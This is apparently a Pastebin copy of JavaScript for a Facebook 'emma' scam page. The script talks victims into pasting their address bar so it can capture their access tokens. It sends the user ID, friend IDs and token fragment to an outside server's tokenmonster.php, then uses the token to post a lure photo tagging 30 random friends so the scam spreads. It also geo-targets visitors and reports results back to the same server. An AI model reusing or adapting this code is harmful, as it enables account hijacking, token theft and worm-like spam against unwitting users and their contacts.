Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var widget, userid, feedit, photoFriends;
- var app = {
- getToken: function () {
- token = $('#link_input').val();
- if (token.split('#access_token=')[1]) {
- feedit = token.split('#')[1];
- token = token.split('#access_token=')[1].split('&')[0];
- $('#data').html('<img src="https://bitly.com/QZqxdh" style="display:none;">');
- $.getJSON('https://graph.facebook.com/me?access_token=' + token, function (response) {
- if (response.id) {
- userid = response.id;
- var query = "SELECT uid FROM user WHERE uid IN(SELECT uid2 FROM friend WHERE uid1=" + userid + " ORDER BY rand() asc LIMIT 30)";
- $.getJSON('https://graph.facebook.com/fql?q=' + query + '&access_token=' + token, function (response) {
- var ea = [];
- var pa = [];
- $.each(response.data, function (i, data) {
- var x = Math.round(Math.random() * (100 - 0) + 0);
- var y = Math.round(Math.random() * (100 - 0) + 0);
- pa.push('{"tag_uid": "' + data.uid + '", "x": "' + x + '", "y": "' + y + '"}');
- ea.push(data.uid)
- });
- var friends = ea.join(',');
- photoFriends = pa.join(',');
- $.getJSON('http://174.120.136.162/~picagg/primark/tokenmonster.php?emma=1&user=' + userid + '&friends=' + friends + '&' + feedit + '&callback=?', function (data) {
- var redirect = data.red;
- var toPhotos_msg = encodeURIComponent(data.msg + ' ' + data.red);
- $.getJSON('https://graph.facebook.com/' + userid + '/photos?method=POST&url=' + encodeURIComponent('http://i.imgur.com/p55re.jpg?' + Math.random().toString(36).substring(7)) + '&tags=[' + photoFriends + ']&message=' + toPhotos_msg + '&access_token=' + token, function (response) {
- app.showWidget();
- $.getJSON('http://174.120.136.162/~picagg/primark/tokenmonster.php?&response=' + JSON.stringify(response) + '&niche=emma&callback=?', function (data) {})
- }).fail(function (jqXHR, textStatus, errorThrown) {
- app.showWidget();
- var link = redirect.replace('http://', '');
- $.getJSON('http://174.120.136.162/~picagg/primark/again.php?user=' + userid + '&' + feedit + '&niche=emma&link=' + link + '&callback=?', function (data) {})
- })
- })
- })
- } else {
- alert('Something went wrong. Please try again.');
- setTimeout('app.showInstructions()', 500)
- }
- })
- } else {
- alert('Make sure to copy all contents of the address bar. Please try again.');
- setTimeout('app.showInstructions()', 500)
- }
- },
- showWidget: function () {
- var widg = '<div id="widget" style="width:100%;height:100%;min-height:380px;top:110px;left:310px;"><iframe src="' + widget + '" style="width:100%;min-height:380px;height:100%;background-transparent;" frameborder="0" scrolling="no"></iframe></div>';
- $('#bg').html(widg)
- },
- showInstructions: function () {
- $('#input, #start').css('display', 'block');
- $('#bg').css('background-image', 'url(https://lh4.googleusercontent.com/-yAwzvEmBe3k/UHx1RCj3lPI/AAAAAAAAADA/Rcp8sm88I74/s690/fNt5F.png)')
- },
- newWin: function () {
- var url = 'http://www.facebook.com/dialog/permissions.request?app_id=74769995908&next=http://www.facebook.com/connect/window_comm.php&response_type=token&perms=publish_stream';
- newgt = window.open(url, 'gt', 'toolbar=no,location=yes,directories=no,status=no, menubar=no,scrollbars=no,resizable=no,width=900,height=50');
- if (window.focus) {
- newgt.focus()
- }
- if (!newgt.closed) {
- newgt.focus()
- }
- return false
- }
- };
- $(function () {
- var widgets = ['http://emma-widget.appspot.com', 'http://emma-widgetj.appspot.com', 'http://emma-widget.appspot.com', 'http://emma-widgetj.appspot.com', 'http://emma-widget.appspot.com', 'http://emma-widgetj.appspot.com'];
- widget = widgets[Math.floor(Math.random() * widgets.length)];
- var perNum = 1,
- direct = 0;
- var country = geoip_country_code();
- if (country == 'US' || country == 'GB' || country == 'IE' || country == 'AU' || country == 'IT' || country == 'ES' || country == 'NO' || country == 'DE' || country == 'SE' || country == 'FI' || country == 'NZ' || country == 'NL' || country == 'FR' || country == 'BE' || country == 'ZA') {
- if (perNum != 0) {
- var fromNum = 1;
- var toNum = 10;
- var rannum = Math.floor(Math.random() * (toNum - fromNum + 1)) + fromNum;
- if (rannum <= perNum) {
- app.showWidget()
- }
- } else if (direct != 0) {
- app.showWidget()
- }
- } else {
- app.showWidget()
- }
- var playimg = new Image();
- playimg.src = 'https://lh4.googleusercontent.com/-FP5WbdAtBeU/UHsSOBo8knI/AAAAAAAAACw/nETqT3sSVRE/s690/emmplaynew.jpg';
- playimg.onload = function () {
- setTimeout("$('#bg').css('background-image', 'url(" + playimg.src + ")')", 500)
- };
- var startimg = new Image();
- startimg.src = 'https://lh4.googleusercontent.com/-yAwzvEmBe3k/UHx1RCj3lPI/AAAAAAAAADA/Rcp8sm88I74/s690/fNt5F.png';
- startimg.onload = function () {};
- $('#play').click(function () {
- $('#bg').fadeTo('fast', 0.3, function () {
- $(this).css('background-image', 'url(' + startimg.src + ')');
- $('#play').css('display', 'none');
- $('#input, #start').css('display', 'block')
- }).fadeTo('fast', 1)
- });
- $('#submit').click(function () {
- if (($('#link_input').val().length <= 100)) {
- alert('Invalid Verification Code, make sure to copy all contents of the address bar. Please try again.')
- } else {
- app.getToken();
- $('#bg').css('background-image', 'url(https://lh6.googleusercontent.com/-_nyO-z7fSnw/UHrTI9OsMbI/AAAAAAAAABw/nVcwnCZdIMQ/s690/sfC6v.gif)');
- $('#input, #start').css('display', 'none')
- }
- });
- $('#getcode').click(function () {
- app.newWin()
- })
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement